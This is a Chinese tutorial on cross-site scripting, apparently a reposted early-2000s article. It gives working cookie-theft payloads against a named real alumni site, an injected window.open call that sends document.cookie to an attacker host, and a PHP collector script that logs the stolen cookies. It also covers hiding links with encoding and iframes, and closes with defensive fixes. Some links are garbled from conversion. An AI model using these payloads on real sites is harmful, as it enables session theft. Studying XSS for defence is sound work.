版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、跨站脚本执行漏洞详解本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧, 解决方法和常见问题(FAQ)。【漏洞成因】原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进 行过滤或转换。【漏洞形式】这里所说的形式,实际上是指CGI输入的形式,主要分为两种:显示输入隐式输入其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入 数据,但是用户却可以通过输入数据来进行干涉。显示输入又可以分为两种:输入完成立刻输出结果输入完成先存储在文本文件或数据库中,然后再输出结果注意:后者可能会让你的网站面目全非!:(而隐式输入除了一些正常的情况外,还可以利用服务器或C
2、GI程序处理错 误信息的方式来实施。【漏洞危害】大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统, 但是我想应该是比较典型的吧。获取其他用户Cookie中的敏感数据屏蔽页面特定信息伪造页面信息拒绝服务攻击突破外网内网不同安全设置与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等其它一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行 漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程 度上隐藏身份。【利用方式】下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题, 而且更易于理解。为了条理更清晰一些,我们将针对每种危害做一
3、个实验。为了做好这些实验,我们需要一个抓包软件,我使用的是Iris,当然你可以 选择其它的软件,比如NetXray什么的。至于具体的使用方法,请参考相关帮助 或手册。另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在 跨站脚本执行漏洞。好的,一切就绪,我们开始做实验!:)实验一:获取其他用户Cookie中的敏感信息我们以国内著名的同学录站点为例来说明一下,请按照下面的步骤 进行:进入首页 HYPERLINK / /输入用户名“”,提交,发现服务器返回信息中包含了用户提交的 “”。分析抓包数据,得到实际请求: HYPERLINK /txl/login/login.pl?usern
4、ame=%3ch1%3e&passwd=&ok.x=28&ok /txl/login/login.pl?username=&passwd=&ok.x=28&ok .y=6构造一个提交,目标是能够显示用户Cookie信息: HYPERLINK /txl/login/login.pl?username=%3cscript%3ealert(document.cookie /txl/login/login.pl?username=alert(document.cookie )&passwd=&ok.x=28&ok.y=6如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:/txl/login/
5、login.pl?username=window.open(http:/ /info.php?”%2Bdocument.cookie)&passwd=&ok.x=28&o k.y=6其中 HYPERLINK /info.php%e6%98%af%e4%bd%a0%e8%83%bd%e5%a4%9f%e6%8e%a7%e5%88%b6%e7%9a%84%e6%9f%90%e5%8f%b0%e4%b8%bb%e6%9c%ba%e4%b8%8a%e7%9a%84%e4%b8%80%e4%b8%aa%e8%84%9a /info.php是你能够控制的某台主机上的一个脚 本,功能是获取查询字符串的信息,
6、内容如下:?php$info = getenv(QUERY_STRING);if ($info) $fp = fopen(info.txt,a);fwrite($fp,$info.n);fclose($fp);header(Location: HYPERLINK );注:“2B”为“+”的URL编码,并且这里只能用“2B”,因为“+”将被作为 空格处理。后面的header语句则纯粹是为了增加隐蔽性。如果上面的URL能够正确运行的话,下一步就是诱使登陆的 用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。后面要做什么就由你决定吧!实验二:屏蔽页面特定信息我们仍然以作为例子,下面是
7、一个有问题的CGI程序: HYPERLINK /txl/liuyan/liuyanSql.pl /txl/liuyan/liuyanSql.pl该CGI程序接受用户提供的三个变量,即nId, csId和cName,但是没有对 用户提交的cName变量进行任何检查,而且该CGI程序把cName的值作为输出 页面的一部分,的用户应该都比较清楚留言右下角有你的名字,对吧?既然有了上面的种种条件,我们可以不妨作出下面的结论:某个用户可以“屏蔽”其两次留言之间的所有留言!当然,我们说的“屏蔽”不是“删除”,用户的留言还是存在的,只不过由于 HTML的特性,我们无法从页面看到,当然如果你喜欢查看源代码的话
8、就没有什 么用处了,但是除了我们这些研究CGI安全的人来说,有多少人有事没事都看 HTML源代码?由于种种原因,我在这里就不公布具体的细节了,大家知道原理就好了。注:仔细想想,我们不仅能屏蔽留言,还能匿名留言,Right?实验三:伪造页面信息如果你理解了上面那个实验,这个实验就没有必要做了,基本原理相同,只 是实现起来稍微麻烦一点而已。实验四:拒绝服务攻击现在应该知道,我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器 的行为,既然这样,我们就可以控制服务器进行某种消耗资源的动作。比如说运 行包含死循环或打开无穷多个窗口的JavaScript脚本等等。这样访问该URL的 用户系统就可能因此速
9、度变慢甚至崩溃。同样,我们也可能在其中嵌入一些脚本, 让该服务器请求其它服务器上的资源,如果访问的资源比较消耗资源,并且访问 人数比较多的话,那么被访问的服务器也可能被拒绝服务,而它则认为该拒绝服 务攻击是由访问它的服务器发起的,这样就可以隐藏身份。实验五:突破外网内网不同安全设置这个应该很好理解吧,一般来说我们的浏览器对不同的区域设置了不同的安 全级别。举例来说,对于Internet区域,可能你不允许JavaScript执行,而在Intranet 区域,你就允许JavaScript执行。一般来说,前者的安全级别都要高于后者。这 样,一般情况下别人无法通过执行恶意JavaScript脚本对你进
10、行攻击,但是如果 与你处于相同内网的服务器存在跨站脚本执行漏洞,那么攻击者就有机可乘了, 因为该服务器位于Intranet区域。实验六:与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等由于与浏览器相关的漏洞太多了,所以可与跨站脚本执行漏洞一起结合的漏 洞也就显得不少。我想这些问题大家都应该很清楚吧,前些时间的修改IE标题 漏洞,错误MIME类型执行命令漏洞,还有多种多样的蠕虫,都是很好的例子。更多的例子请参考下列链接:Internet Explorer Pop-Up OBJECT Tag Bug HYPERLINK /archives/bugtraq/2002-01/0167.htm
11、l /archives/bugtraq/2002-01/0167.htmlInternet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability HYPERLINK /archives/bugtraq/2002-01/0058.html /archives/bugtraq/2002-01/0058.htmlMSIE6 can read local files HYPERLINK http:/www.xs4all.nl/jkuperus/bug.htm http:/www.xs4all.nl/jkuper
12、us/bug.htmMSIE may download and run progams automatically HYPERLINK /archives/bugtraq/2001-12/0143.html /archives/bugtraq/2001-12/0143.htmlFile extensions spoofable in MSIE download dialog HYPERLINK /archives/bugtraq/2001-11/0203.html /archives/bugtraq/2001-11/0203.htmlthe other IE cookie stealing b
13、ug (MS01-055) HYPERLINK /archives/bugtraq/2001-11/0106.html /archives/bugtraq/2001-11/0106.htmlMicrosoft Security Bulletin MS01-055 HYPERLINK /archives/bugtraq/2001-11/0048.html /archives/bugtraq/2001-11/0048.htmlSerious security Flaw in Microsoft Internet Explorer - Zone Spoofing HYPERLINK /archive
14、s/bugtraq/2001-10/0075.html /archives/bugtraq/2001-10/0075.htmlIncorrect MIME Header Can Cause IE to Execute E-mail Attachment HYPERLINK /cua/eml.html /cua/eml.html跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。实验七:其它其实这类问题和跨站脚本执行漏洞没有多大关系,但是在这里提一下还是很 有必要的。问题的实质还是CGI程序没有过滤用户提交的数据,然后进行了输 出处理。举个例子来说,支持SSI的服务器上的CGI程序输出了用户提
15、交的数 据,无论该数据是采取何种方式输入,都可能导致SSI指令的执行。当然,这是 在服务端,而不是客户端执行。其实像ASP,PHP和Perl等CGI语言都可能导致这种问题。【隐藏技巧】出于时间的考虑,我在这里将主要讲一下理论了,相信不是很难懂,如果实 在有问题,那么去找本书看吧。URL编码比较一下: HYPERLINK /txl/login/login.pl?username=%3ch1%3e&passwd=&ok.x=28&ok /txl/login/login.pl?username=&passwd=&ok.x=28&ok .y=6 HYPERLINK /txl/login/login.p
16、l?username=%3C%68%31%3E&passwd= /txl/login/login.pl?username=%3C%68%31%3E&passwd= &ok.x=28&ok.y=6你觉得哪个更有隐蔽性?!隐藏在其它对象之下与直接给别人一个链接相比,你是否决定把该链接隐藏在按钮以下更好些 呢?嵌入页面中让别人访问一个地址(注意这里的地址不同于上面提到的URL),是不是又 要比让别人按一个按钮容易得多,借助于Iframe,你可以把这种攻击变得更隐蔽。合理利用事件合理使用事件,在某些情况上可以绕过CGI程序对输入的限制,比如说前 些日子的SecurityFocus的跨站脚本执行漏洞。【
17、注意事项】一般情况下直接进行类似alert(document.cookie)之类的攻击 没有什么问题,但是有时CGI程序对用户的输入进行了一些处理,比如说包含 在或”之内,这时我们就需要使用一些小技巧来绕过这些限制。如果你对HTML语言比较熟悉的话,绕过这些限制应该不成问题。【解决方法】要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力: 程序员:过滤或转换用户提交数据中的HTML代码限制用户提交数据的长度用户:不要轻易访问别人给你的链接禁止浏览器运行JavaScript和ActiveX代码附:常见浏览器修改设置的位置为:Internet Explorer:工具-Internet选项-安全-Internet-自定义级别工具-Internet选项-安全-Intranet-自定义级别Opera:文件-快速参数-允许使用Java文件- 快速参数- 允许使用插件文件-快速参数-允许使用JavaScript【常见问题】Q:跨站脚本执行漏洞在哪里存在?A:只要是CGI程序,只要允许用户输入,就可能存在跨站脚本执行漏洞。Q:跨站脚本执行漏洞是不是只能偷别人的Cookie?A:当然不是! HTML代码能做的,跨站脚本执行漏洞基本都能做。【附录】下面是一些跨站脚本执行漏洞的例子: HYPERLINK /exploites/exgb.txt /exploit
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- GB/T 24625-2024变频器供电同步电动机设计与应用指南
- 保密及技术成果归属合同
- 预售房屋买卖合同范本
- 设备抵押合同范本2024年
- 员工分红协议书范文2024年
- 员工培训协议-合同范本
- 办公楼租赁合同范本模板
- 施工合同中的情势变更分析
- 标准住宅出租协议样本
- 合作意向协议书范文2024,项目合作意向协议书
- DL∕T 5210.6-2019 电力建设施工质量验收规程 第6部分:调整试验
- 一例登革热合并凝血功能障碍患者的个案护理20190-7
- 门诊病历书写模板全
- 《图形创意设计》PPT课件(完整版)
- 中俄文运输合同
- 医疗机构环境表面清洁与消毒管理规范试题及答案
- 管理类档案基本归档范围及保管期限表
- 全国医疗服务价格项目规范(2012版)
- 干燥温度对中药丸剂溶散时限的影响探讨
- 二年级乘除法口算题大全500题(可直接打印)
- 六年级英语Unit1-How--can--I--get-there教材分析
评论
0/150
提交评论